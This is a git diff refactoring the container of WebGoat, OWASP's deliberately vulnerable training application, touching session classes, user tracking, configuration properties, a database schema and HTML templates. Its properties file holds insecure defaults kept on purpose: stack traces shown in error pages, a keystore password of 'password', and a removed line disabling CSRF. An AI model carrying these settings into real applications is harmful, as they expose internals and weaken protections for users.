public class WebSession implements Serializable {
|
||||
|
||||
private final WebGoatUser currentUser;
|
||||
private final WebgoatContext webgoatContext;
|
||||
private AbstractLesson currentLesson;
|
||||
private static final long serialVersionUID = -4270066103101711560L;
|
||||
private final WebGoatUser currentUser;
|
||||
private Lesson currentLesson;
|
||||
|
||||
/**
|
||||
* Constructor for the WebSession object
|
||||
*
|
||||
* @param webgoatContext a {@link org.owasp.webgoat.session.WebgoatContext} object.
|
||||
*/
|
||||
public WebSession(WebgoatContext webgoatContext) {
|
||||
this.webgoatContext = webgoatContext;
|
||||
public WebSession() {
|
||||
this.currentUser = (WebGoatUser) SecurityContextHolder.getContext().getAuthentication().getPrincipal();
|
||||
}
|
||||
|
||||
/**
|
||||
* <p> getConnection. </p>
|
||||
*
|
||||
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
|
||||
* @return a {@link java.sql.Connection} object.
|
||||
* @throws java.sql.SQLException if any.
|
||||
*/
|
||||
public static synchronized Connection getConnection(WebSession s) throws SQLException {
|
||||
return DatabaseUtilities.getConnection(s);
|
||||
}
|
||||
|
||||
/**
|
||||
* <p> returnConnection. </p>
|
||||
*
|
||||
* @param s a {@link org.owasp.webgoat.session.WebSession} object.
|
||||
*/
|
||||
public static void returnConnection(WebSession s) {
|
||||
DatabaseUtilities.returnConnection(s.getUserName());
|
||||
}
|
||||
|
||||
/**
|
||||
* <p> Setter for the field <code>currentScreen</code>. </p>
|
||||
*
|
||||
* @param lesson current lesson
|
||||
*/
|
||||
public void setCurrentLesson(AbstractLesson lesson) {
|
||||
public void setCurrentLesson(Lesson lesson) {
|
||||
this.currentLesson = lesson;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p> getCurrentLesson. </p>
|
||||
*
|
||||
* @return a {@link org.owasp.webgoat.lessons.AbstractLesson} object.
|
||||
* @return a {@link Lesson} object.
|
||||
*/
|
||||
public AbstractLesson getCurrentLesson() {
|
||||
public Lesson getCurrentLesson() {
|
||||
return this.currentLesson;
|
||||
}
|
||||
|
||||
@ -100,13 +73,4 @@ public class WebSession {
|
||||
public String getUserName() {
|
||||
return currentUser.getUsername();
|
||||
}
|
||||
|
||||
/**
|
||||
* <p> Getter for the field <code>webgoatContext</code>. </p>
|
||||
*
|
||||
* @return a {@link org.owasp.webgoat.session.WebgoatContext} object.
|
||||
*/
|
||||
public WebgoatContext getWebgoatContext() {
|
||||
return webgoatContext;
|
||||
}
|
||||
}
|
||||
|
@ -1,187 +0,0 @@
|
||||
package org.owasp.webgoat.session;
|
||||
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.context.annotation.Configuration;
|
||||
|
||||
/**
|
||||
* <p>WebgoatContext class.</p>
|
||||
*
|
||||
* @version $Id: $Id
|
||||
* @author dm
|
||||
*/
|
||||
@Configuration
|
||||
public class WebgoatContext {
|
||||
|
||||
@Value("${webgoat.database.connection.string}")
|
||||
private String databaseConnectionString;
|
||||
|
||||
private String realConnectionString = null;
|
||||
|
||||
@Value("${webgoat.database.driver}")
|
||||
private String databaseDriver;
|
||||
|
||||
private String databaseUser;
|
||||
|
||||
private String databasePassword;
|
||||
|
||||
private boolean showCookies = false;
|
||||
|
||||
private boolean showParams = false;
|
||||
|
||||
private boolean showRequest = false;
|
||||
|
||||
private boolean showSource = false;
|
||||
|
||||
private boolean showSolution = false;
|
||||
|
||||
private boolean enterprise = false;
|
||||
|
||||
private boolean codingExercises = false;
|
||||
|
||||
@Value("${webgoat.feedback.address}")
|
||||
private String feedbackAddress;
|
||||
|
||||
@Value("${webgoat.feedback.address.html}")
|
||||
private String feedbackAddressHTML = "";
|
||||
|
||||
private boolean isDebug = false;
|
||||
|
||||
@Value("${webgoat.default.language}")
|
||||
private String defaultLanguage;
|
||||
|
||||
/**
|
||||
* returns the connection string with the real path to the database
|
||||
* directory inserted at the word PATH
|
||||
*
|
||||
* @return The databaseConnectionString value
|
||||
*/
|
||||
public String getDatabaseConnectionString() {
|
||||
return this.databaseConnectionString;
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the databaseDriver attribute of the WebSession object
|
||||
*
|
||||
* @return The databaseDriver value
|
||||
*/
|
||||
public String getDatabaseDriver() {
|
||||
return (databaseDriver);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the databaseUser attribute of the WebSession object
|
||||
*
|
||||
* @return The databaseUser value
|
||||
*/
|
||||
public String getDatabaseUser() {
|
||||
return (databaseUser);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gets the databasePassword attribute of the WebSession object
|
||||
*
|
||||
* @return The databasePassword value
|
||||
*/
|
||||
public String getDatabasePassword() {
|
||||
return (databasePassword);
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>isEnterprise.</p>
|
||||
*
|
||||
* @return a boolean.
|
||||
*/
|
||||
public boolean isEnterprise() {
|
||||
return enterprise;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>isCodingExercises.</p>
|
||||
*
|
||||
* @return a boolean.
|
||||
*/
|
||||
public boolean isCodingExercises() {
|
||||
return codingExercises;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>Getter for the field <code>feedbackAddress</code>.</p>
|
||||
*
|
||||
* @return a {@link java.lang.String} object.
|
||||
*/
|
||||
public String getFeedbackAddress() {
|
||||
return feedbackAddress;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>Getter for the field <code>feedbackAddressHTML</code>.</p>
|
||||
*
|
||||
* @return a {@link java.lang.String} object.
|
||||
*/
|
||||
public String getFeedbackAddressHTML() {
|
||||
return feedbackAddressHTML;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>isDebug.</p>
|
||||
*
|
||||
* @return a boolean.
|
||||
*/
|
||||
public boolean isDebug() {
|
||||
return isDebug;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>isShowCookies.</p>
|
||||
*
|
||||
* @return a boolean.
|
||||
*/
|
||||
public boolean isShowCookies() {
|
||||
return showCookies;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>isShowParams.</p>
|
||||
*
|
||||
* @return a boolean.
|
||||
*/
|
||||
public boolean isShowParams() {
|
||||
return showParams;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>isShowRequest.</p>
|
||||
*
|
||||
* @return a boolean.
|
||||
*/
|
||||
public boolean isShowRequest() {
|
||||
return showRequest;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>isShowSource.</p>
|
||||
*
|
||||
* @return a boolean.
|
||||
*/
|
||||
public boolean isShowSource() {
|
||||
return showSource;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>isShowSolution.</p>
|
||||
*
|
||||
* @return a boolean.
|
||||
*/
|
||||
public boolean isShowSolution() {
|
||||
return showSolution;
|
||||
}
|
||||
|
||||
/**
|
||||
* <p>Getter for the field <code>defaultLanguage</code>.</p>
|
||||
*
|
||||
* @return a {@link java.lang.String} object.
|
||||
*/
|
||||
public String getDefaultLanguage() {
|
||||
return defaultLanguage;
|
||||
}
|
||||
}
|
@ -1,17 +1,12 @@
|
||||
|
||||
package org.owasp.webgoat.users;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.collect.Sets;
|
||||
import lombok.Getter;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
|
||||
import javax.persistence.*;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
import java.util.Set;
|
||||
import java.util.*;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
|
||||
@ -54,19 +49,21 @@ public class LessonTracker {
|
||||
@Getter
|
||||
private String lessonName;
|
||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||
private final Set<Assignment> solvedAssignments = Sets.newHashSet();
|
||||
private final Set<Assignment> solvedAssignments = new HashSet<>();
|
||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||
private final Set<Assignment> allAssignments = Sets.newHashSet();
|
||||
private final Set<Assignment> allAssignments = new HashSet<>();
|
||||
@Getter
|
||||
private int numberOfAttempts = 0;
|
||||
@Version
|
||||
private Integer version;
|
||||
|
||||
private LessonTracker() {
|
||||
//JPA
|
||||
}
|
||||
|
||||
public LessonTracker(AbstractLesson lesson) {
|
||||
public LessonTracker(Lesson lesson) {
|
||||
lessonName = lesson.getId();
|
||||
allAssignments.addAll(lesson.getAssignments());
|
||||
allAssignments.addAll(lesson.getAssignments() == null ? List.of() : lesson.getAssignments());
|
||||
}
|
||||
|
||||
public Optional<Assignment> getAssignment(String name) {
|
||||
|
@ -10,6 +10,7 @@ import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.ModelAttribute;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.validation.Valid;
|
||||
|
||||
@ -32,8 +33,7 @@ public class RegistrationController {
|
||||
}
|
||||
|
||||
@PostMapping("/register.mvc")
|
||||
@SneakyThrows
|
||||
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) {
|
||||
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) throws ServletException {
|
||||
userValidator.validate(userForm, bindingResult);
|
||||
|
||||
if (bindingResult.hasErrors()) {
|
||||
|
@ -1,6 +1,5 @@
|
||||
package org.owasp.webgoat.users;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Getter;
|
||||
import org.owasp.webgoat.i18n.PluginMessages;
|
||||
@ -8,6 +7,7 @@ import org.owasp.webgoat.session.Course;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
@ -36,7 +36,7 @@ public class Scoreboard {
|
||||
@GetMapping("/scoreboard-data")
|
||||
public List<Ranking> getRankings() {
|
||||
List<WebGoatUser> allUsers = userRepository.findAll();
|
||||
List<Ranking> rankings = Lists.newArrayList();
|
||||
List<Ranking> rankings = new ArrayList<>();
|
||||
for (WebGoatUser user : allUsers) {
|
||||
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
|
||||
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
||||
@ -45,7 +45,7 @@ public class Scoreboard {
|
||||
}
|
||||
|
||||
private List<String> challengesSolved(UserTracker userTracker) {
|
||||
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
|
||||
List<String> challenges = List.of("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
|
||||
return challenges.stream()
|
||||
.map(c -> userTracker.getLessonTracker(c))
|
||||
.filter(l -> l.isPresent()).map(l -> l.get())
|
||||
|
@ -16,14 +16,14 @@ import javax.validation.constraints.Size;
|
||||
public class UserForm {
|
||||
|
||||
@NotNull
|
||||
@Size(min=6, max=20)
|
||||
@Pattern(regexp = "[a-zA-Z0-9-]*", message = "can only contain letters, digits, and -")
|
||||
@Size(min = 6, max = 45)
|
||||
@Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -")
|
||||
private String username;
|
||||
@NotNull
|
||||
@Size(min=6, max=10)
|
||||
@Size(min = 6, max = 10)
|
||||
private String password;
|
||||
@NotNull
|
||||
@Size(min=6, max=10)
|
||||
@Size(min = 6, max = 10)
|
||||
private String matchingPassword;
|
||||
@NotNull
|
||||
private String agree;
|
||||
|
@ -30,16 +30,28 @@ public class UserService implements UserDetailsService {
|
||||
}
|
||||
|
||||
public void addUser(String username, String password) {
|
||||
//get user if there exists one by the name
|
||||
WebGoatUser webGoatUser = userRepository.findByUsername(username);
|
||||
//if user exists it will be updated, otherwise created
|
||||
userRepository.save(new WebGoatUser(username, password));
|
||||
userTrackerRepository.save(new UserTracker(username));
|
||||
//if user previously existed it will not get another tracker
|
||||
if (webGoatUser == null) {
|
||||
userTrackerRepository.save(new UserTracker(username));
|
||||
}
|
||||
}
|
||||
|
||||
public void addUser(String username, String password, String role) {
|
||||
userRepository.save(new WebGoatUser(username,password,role));
|
||||
userTrackerRepository.save(new UserTracker(username));
|
||||
//get user if there exists one by the name
|
||||
WebGoatUser webGoatUser = userRepository.findByUsername(username);
|
||||
//if user exists it will be updated, otherwise created
|
||||
userRepository.save(new WebGoatUser(username, password, role));
|
||||
//if user previously existed it will not get another tracker
|
||||
if (webGoatUser == null) {
|
||||
userTrackerRepository.save(new UserTracker(username));
|
||||
}
|
||||
}
|
||||
|
||||
public List<WebGoatUser> getAllUsers () {
|
||||
public List<WebGoatUser> getAllUsers() {
|
||||
return userRepository.findAll();
|
||||
}
|
||||
|
||||
|
@ -1,14 +1,12 @@
|
||||
|
||||
package org.owasp.webgoat.users;
|
||||
|
||||
import com.google.common.collect.Lists;
|
||||
import com.google.common.collect.Sets;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.owasp.webgoat.lessons.AbstractLesson;
|
||||
import org.owasp.webgoat.lessons.Lesson;
|
||||
import org.owasp.webgoat.lessons.Assignment;
|
||||
|
||||
import javax.persistence.*;
|
||||
import java.util.List;
|
||||
import java.util.HashSet;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
import java.util.Set;
|
||||
@ -55,7 +53,7 @@ public class UserTracker {
|
||||
@Column(name = "username")
|
||||
private String user;
|
||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||
private Set<LessonTracker> lessonTrackers = Sets.newHashSet();
|
||||
private Set<LessonTracker> lessonTrackers = new HashSet<>();
|
||||
|
||||
private UserTracker() {}
|
||||
|
||||
@ -69,7 +67,7 @@ public class UserTracker {
|
||||
* @param lesson the lesson
|
||||
* @return a lesson tracker created if not already present
|
||||
*/
|
||||
public LessonTracker getLessonTracker(AbstractLesson lesson) {
|
||||
public LessonTracker getLessonTracker(Lesson lesson) {
|
||||
Optional<LessonTracker> lessonTracker = lessonTrackers
|
||||
.stream().filter(l -> l.getLessonName().equals(lesson.getId())).findFirst();
|
||||
if (!lessonTracker.isPresent()) {
|
||||
@ -91,18 +89,18 @@ public class UserTracker {
|
||||
return lessonTrackers.stream().filter(l -> l.getLessonName().equals(id)).findFirst();
|
||||
}
|
||||
|
||||
public void assignmentSolved(AbstractLesson lesson, String assignmentName) {
|
||||
public void assignmentSolved(Lesson lesson, String assignmentName) {
|
||||
LessonTracker lessonTracker = getLessonTracker(lesson);
|
||||
lessonTracker.incrementAttempts();
|
||||
lessonTracker.assignmentSolved(assignmentName);
|
||||
}
|
||||
|
||||
public void assignmentFailed(AbstractLesson lesson) {
|
||||
public void assignmentFailed(Lesson lesson) {
|
||||
LessonTracker lessonTracker = getLessonTracker(lesson);
|
||||
lessonTracker.incrementAttempts();
|
||||
}
|
||||
|
||||
public void reset(AbstractLesson al) {
|
||||
public void reset(Lesson al) {
|
||||
LessonTracker lessonTracker = getLessonTracker(al);
|
||||
lessonTracker.reset();
|
||||
}
|
||||
|
@ -16,8 +16,8 @@ public class UserValidator implements Validator {
|
||||
private final UserRepository userRepository;
|
||||
|
||||
@Override
|
||||
public boolean supports(Class<?> aClass) {
|
||||
return UserForm.class.equals(aClass);
|
||||
public boolean supports(Class<?> clazz) {
|
||||
return UserForm.class.equals(clazz);
|
||||
}
|
||||
|
||||
@Override
|
||||
|
@ -1,26 +1,32 @@
|
||||
server.error.include-stacktrace=always
|
||||
server.error.path=/error.html
|
||||
server.session.timeout=600
|
||||
server.contextPath=/WebGoat
|
||||
server.port=8080
|
||||
server.address=127.0.0.1
|
||||
server.servlet.context-path=/WebGoat
|
||||
server.servlet.session.persistent=false
|
||||
server.port=${WEBGOAT_PORT:8080}
|
||||
server.address=${WEBGOAT_HOST:127.0.0.1}
|
||||
|
||||
spring.datasource.url=jdbc:hsqldb:hsql://localhost:9001/webgoat
|
||||
spring.jpa.hibernate.ddl-auto=update
|
||||
|
||||
server.ssl.key-store-type=${WEBGOAT_KEYSTORE_TYPE:PKCS12}
|
||||
server.ssl.key-store=${WEBGOAT_KEYSTORE:classpath:goatkeystore.pkcs12}
|
||||
server.ssl.key-store-password=${WEBGOAT_KEYSTORE_PASSWORD:password}
|
||||
server.ssl.key-alias=${WEBGOAT_KEY_ALIAS:goat}
|
||||
server.ssl.enabled=${WEBGOAT_SSLENABLED:false}
|
||||
|
||||
hsqldb.port=${WEBGOAT_HSQLPORT:9001}
|
||||
spring.datasource.url=jdbc:hsqldb:hsql://${server.address}:${hsqldb.port}/webgoat
|
||||
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.HSQLDialect
|
||||
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver
|
||||
spring.jpa.properties.hibernate.default_schema=CONTAINER
|
||||
|
||||
|
||||
logging.level.org.thymeleaf=INFO
|
||||
logging.level.org.thymeleaf.TemplateEngine.CONFIG=INFO
|
||||
logging.level.org.thymeleaf.TemplateEngine.TIMER=INFO
|
||||
logging.level.org.thymeleaf.TemplateEngine.cache.TEMPLATE_CACHE=INFO
|
||||
logging.level.org.springframework.web=INFO
|
||||
logging.level.org.springframework=INFO
|
||||
logging.level.org.springframework.boot.devtools=INFO
|
||||
logging.level.org.owasp=DEBUG
|
||||
logging.level.org.owasp.webgoat=TRACE
|
||||
|
||||
# Needed for creating a vulnerable web application
|
||||
security.enable-csrf=false
|
||||
|
||||
spring.resources.cache-period=0
|
||||
spring.thymeleaf.cache=false
|
||||
logging.level.org.owasp.webgoat=DEBUG
|
||||
|
||||
webgoat.start.hsqldb=true
|
||||
webgoat.clean=false
|
||||
@ -32,11 +38,10 @@ webgoat.email=webgoat@owasp.org
|
||||
webgoat.emaillist=owasp-webgoat@lists.owasp.org
|
||||
webgoat.feedback.address=webgoat@owasp.org
|
||||
webgoat.feedback.address.html=<A HREF=mailto:webgoat@owasp.org>webgoat@owasp.org</A>
|
||||
webgoat.database.driver=org.hsqldb.jdbcDriver
|
||||
webgoat.database.connection.string=jdbc:hsqldb:mem:{USER}
|
||||
webgoat.default.language=en
|
||||
|
||||
webwolf.host=${WEBWOLF_HOST:localhost}
|
||||
webwolf.host=${WEBWOLF_HOST:127.0.0.1}
|
||||
webwolf.port=${WEBWOLF_PORT:9090}
|
||||
webwolf.url=http://${webwolf.host}:${webwolf.port}/WebWolf
|
||||
webwolf.url.landingpage=http://${webwolf.host}:${webwolf.port}/landing
|
@ -0,0 +1,64 @@
|
||||
CREATE SCHEMA CONTAINER;
|
||||
|
||||
CREATE SEQUENCE CONTAINER.HIBERNATE_SEQUENCE AS INTEGER START WITH 1;
|
||||
|
||||
CREATE TABLE CONTAINER.ASSIGNMENT (
|
||||
ID BIGINT NOT NULL PRIMARY KEY,
|
||||
NAME VARCHAR(255),
|
||||
PATH VARCHAR(255)
|
||||
);
|
||||
|
||||
CREATE TABLE CONTAINER.LESSON_TRACKER(
|
||||
ID BIGINT NOT NULL PRIMARY KEY,
|
||||
LESSON_NAME VARCHAR(255),
|
||||
NUMBER_OF_ATTEMPTS INTEGER NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE CONTAINER.LESSON_TRACKER_ALL_ASSIGNMENTS(
|
||||
LESSON_TRACKER_ID BIGINT NOT NULL,
|
||||
ALL_ASSIGNMENTS_ID BIGINT NOT NULL,
|
||||
PRIMARY KEY(LESSON_TRACKER_ID,ALL_ASSIGNMENTS_ID),
|
||||
CONSTRAINT FKNHIDKE27BCJHI8C7WJ9QW6Y3Q FOREIGN KEY(ALL_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID),
|
||||
CONSTRAINT FKBM51QSDJ7N17O2DNATGAMW7D FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
|
||||
CONSTRAINT UK_SYGJY2S8O8DDGA2K5YHBMUVEA UNIQUE(ALL_ASSIGNMENTS_ID)
|
||||
);
|
||||
|
||||
CREATE TABLE CONTAINER.LESSON_TRACKER_SOLVED_ASSIGNMENTS(
|
||||
LESSON_TRACKER_ID BIGINT NOT NULL,
|
||||
SOLVED_ASSIGNMENTS_ID BIGINT NOT NULL,
|
||||
PRIMARY KEY(LESSON_TRACKER_ID,SOLVED_ASSIGNMENTS_ID),
|
||||
CONSTRAINT FKPP850U1MG09YKKL2EQGM0TRJK FOREIGN KEY(SOLVED_ASSIGNMENTS_ID) REFERENCES CONTAINER.ASSIGNMENT(ID),
|
||||
CONSTRAINT FKNKRWGA1UHLOQ6732SQXHXXSCR FOREIGN KEY(LESSON_TRACKER_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
|
||||
CONSTRAINT UK_9WFYDUY3TVE1XD05LWOUEG0C1 UNIQUE(SOLVED_ASSIGNMENTS_ID)
|
||||
);
|
||||
|
||||
CREATE TABLE CONTAINER.USER_TRACKER(
|
||||
ID BIGINT NOT NULL PRIMARY KEY,
|
||||
USERNAME VARCHAR(255)
|
||||
);
|
||||
|
||||
CREATE TABLE CONTAINER.USER_TRACKER_LESSON_TRACKERS(
|
||||
USER_TRACKER_ID BIGINT NOT NULL,
|
||||
LESSON_TRACKERS_ID BIGINT NOT NULL,
|
||||
PRIMARY KEY(USER_TRACKER_ID,LESSON_TRACKERS_ID),
|
||||
CONSTRAINT FKQJSTCA3YND3OHP35D50PNUH3H FOREIGN KEY(LESSON_TRACKERS_ID) REFERENCES CONTAINER.LESSON_TRACKER(ID),
|
||||
CONSTRAINT FKC9GX8INK7LRC79XC77O2MN9KE FOREIGN KEY(USER_TRACKER_ID) REFERENCES CONTAINER.USER_TRACKER(ID),
|
||||
CONSTRAINT UK_5D8N5I3IC26CVF7DF7N95DOJB UNIQUE(LESSON_TRACKERS_ID)
|
||||
);
|
||||
|
||||
CREATE TABLE CONTAINER.WEB_GOAT_USER(
|
||||
USERNAME VARCHAR(255) NOT NULL PRIMARY KEY,
|
||||
PASSWORD VARCHAR(255),
|
||||
ROLE VARCHAR(255)
|
||||
);
|
||||
|
||||
CREATE TABLE CONTAINER.EMAIL(
|
||||
ID BIGINT GENERATED BY DEFAULT AS IDENTITY(START WITH 1) NOT NULL PRIMARY KEY,
|
||||
CONTENTS VARCHAR(1024),
|
||||
RECIPIENT VARCHAR(255),
|
||||
SENDER VARCHAR(255),
|
||||
TIME TIMESTAMP,
|
||||
TITLE VARCHAR(255)
|
||||
);
|
||||
|
||||
ALTER TABLE CONTAINER.EMAIL ALTER COLUMN ID RESTART WITH 2;
|
@ -0,0 +1 @@
|
||||
ALTER TABLE CONTAINER.LESSON_TRACKER ADD VERSION INTEGER;
|
BIN
webgoat-container/src/main/resources/goatkeystore.pkcs12
Normal file
BIN
webgoat-container/src/main/resources/goatkeystore.pkcs12
Normal file
Binary file not shown.
@ -1001,9 +1001,15 @@ cookie-container {
|
||||
margin: 3px;
|
||||
}
|
||||
|
||||
@keyframes blink {
|
||||
50% { border-color: white; }
|
||||
}
|
||||
|
||||
.cur-page {
|
||||
border-bottom: 2px solid #000;
|
||||
animation: blink 1.5s 2 forwards;
|
||||
border: 3px solid blue;
|
||||
color:#aaa;
|
||||
background-color: lightsalmon;
|
||||
}
|
||||
|
||||
span.show-next-page, span.show-prev-page {
|
||||
|
@ -28,15 +28,15 @@
|
||||
|
||||
<!-- JS -->
|
||||
|
||||
<script src="js/modernizr-2.6.2.min.js"/>
|
||||
<script src="js/modernizr-2.6.2.min.js"></script>
|
||||
<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
|
||||
<!--[if lt IE 9]>
|
||||
<script src="js/html5shiv.js"/>
|
||||
<script src="js/respond.min.js"/>
|
||||
<script src="js/html5shiv.js"></script>
|
||||
<script src="js/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
|
||||
<!-- Require.js used to load js asynchronously -->
|
||||
<script src="js/libs/require.min.js" data-main="js/main.js"/>
|
||||
<script src="js/libs/require.min.js" data-main="js/main.js"></script>
|
||||
<meta http-equiv="Content-Type" content="text/id; charset=ISO-8859-1"/>
|
||||
<title>WebGoat</title>
|
||||
</head>
|
||||
@ -67,8 +67,7 @@
|
||||
<li role="presentation"><a role="menuitem" tabindex="-1" th:href="@{/logout}"
|
||||
th:text="#{logout}">Logout</a></li>
|
||||
<li role="presentation" class="divider"></li>
|
||||
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">User: <span
|
||||
th:text="${#authentication.name}"></span></a>
|
||||
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">User: <span sec:authentication="name"></span></a>
|
||||
</li>
|
||||
<li role="presentation" class="disabled"><a role="menuitem" tabindex="-1" href="#">Role:
|
||||
<span sec:authorize="hasAuthority('WEBGOAT_USER')">User</span>
|
||||
@ -134,14 +133,14 @@
|
||||
<div id="lesson-content-wrapper" class="panel">
|
||||
<div class="" id="error-notification-container">
|
||||
<div class="" id="error-notification">
|
||||
<i class="fa fa-exclamation-circle"/> There was an unexpected error. Please try
|
||||
again.
|
||||
<i class="fa fa-exclamation-circle"> There was an unexpected error. Please try
|
||||
again.</i>
|
||||
</div>
|
||||
</div>
|
||||
<div class="" id="help-controls">
|
||||
<button class="btn btn-primary btn-xs btn-danger help-button"
|
||||
id="show-source-button">
|
||||
<i class="fa fa-code"/>
|
||||
<i class="fa fa-code"></i>
|
||||
</button>
|
||||
<button class="btn btn-primary btn-xs btn-danger help-button"
|
||||
id="show-hints-button" th:text="#{show.hints}">Show hints
|
||||
|
@ -19,7 +19,7 @@
|
||||
<link rel="shortcut icon" th:href="@{/images/favicon.ico}" type="image/x-icon"/>
|
||||
|
||||
<!-- Require.js used to load js asynchronously -->
|
||||
<script src="js/libs/require.min.js" data-main="js/scoreboard.js"/>
|
||||
<script src="js/libs/require.min.js" data-main="js/scoreboard.js"></script>
|
||||
<!-- main css -->
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/css/main.css}"/>
|
||||
<link rel="stylesheet" type="text/css" th:href="@{/plugins/bootstrap/css/bootstrap.min.css}"/>
|
||||
|
@ -0,0 +1,27 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import org.hsqldb.jdbc.JDBCDriver;
|
||||
import org.springframework.beans.factory.annotation.Value;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
|
||||
import org.springframework.context.annotation.Bean;
|
||||
import org.springframework.jdbc.datasource.DriverManagerDataSource;
|
||||
|
||||
import javax.sql.DataSource;
|
||||
import java.sql.DriverManager;
|
||||
import java.sql.SQLException;
|
||||
|
||||
@SpringBootApplication
|
||||
public class TestApplication {
|
||||
|
||||
/**
|
||||
* We define our own datasource, otherwise we end up with Hikari one which for some lessons will
|
||||
* throw an error (feature not supported)
|
||||
*/
|
||||
@Bean
|
||||
@ConditionalOnProperty(prefix = "webgoat.start", name = "hsqldb", havingValue = "false")
|
||||
public DataSource dataSource(@Value("${spring.datasource.url}") String url) throws SQLException {
|
||||
DriverManager.registerDriver(new JDBCDriver());
|
||||
return new DriverManagerDataSource(url);
|
||||
}
|
||||
}
|
@ -38,7 +38,8 @@ import org.springframework.web.servlet.i18n.FixedLocaleResolver;
|
||||
|
||||
import java.util.Locale;
|
||||
|
||||
import static org.mockito.Matchers.anyString;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.ArgumentMatchers.anyString;
|
||||
import static org.mockito.Mockito.when;
|
||||
|
||||
public class AssignmentEndpointTest {
|
||||
@ -51,7 +52,7 @@ public class AssignmentEndpointTest {
|
||||
protected WebSession webSession;
|
||||
@Mock
|
||||
protected UserSessionData userSessionData;
|
||||
private Language language = new Language(new FixedLocaleResolver()){
|
||||
private Language language = new Language(new FixedLocaleResolver()) {
|
||||
@Override
|
||||
public Locale getLocale() {
|
||||
return Locale.ENGLISH;
|
||||
@ -62,7 +63,6 @@ public class AssignmentEndpointTest {
|
||||
|
||||
public void init(AssignmentEndpoint a) {
|
||||
messages.setBasenames("classpath:/i18n/messages", "classpath:/i18n/WebGoatLabels");
|
||||
when(userTrackerRepository.findByUser(anyString())).thenReturn(userTracker);
|
||||
ReflectionTestUtils.setField(a, "userTrackerRepository", userTrackerRepository);
|
||||
ReflectionTestUtils.setField(a, "userSessionData", userSessionData);
|
||||
ReflectionTestUtils.setField(a, "webSession", webSession);
|
||||
|
@ -4,11 +4,10 @@ import org.junit.Before;
|
||||
import org.owasp.webgoat.i18n.Language;
|
||||
import org.owasp.webgoat.i18n.PluginMessages;
|
||||
import org.owasp.webgoat.session.WebSession;
|
||||
import org.owasp.webgoat.session.WebgoatContext;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.context.embedded.LocalServerPort;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.mock.mockito.MockBean;
|
||||
import org.springframework.boot.web.server.LocalServerPort;
|
||||
import org.springframework.test.context.TestPropertySource;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.web.context.WebApplicationContext;
|
||||
@ -22,7 +21,7 @@ import static org.mockito.Mockito.when;
|
||||
* @since 5/20/17.
|
||||
*/
|
||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||
@TestPropertySource(locations = "classpath:/application-test.properties")
|
||||
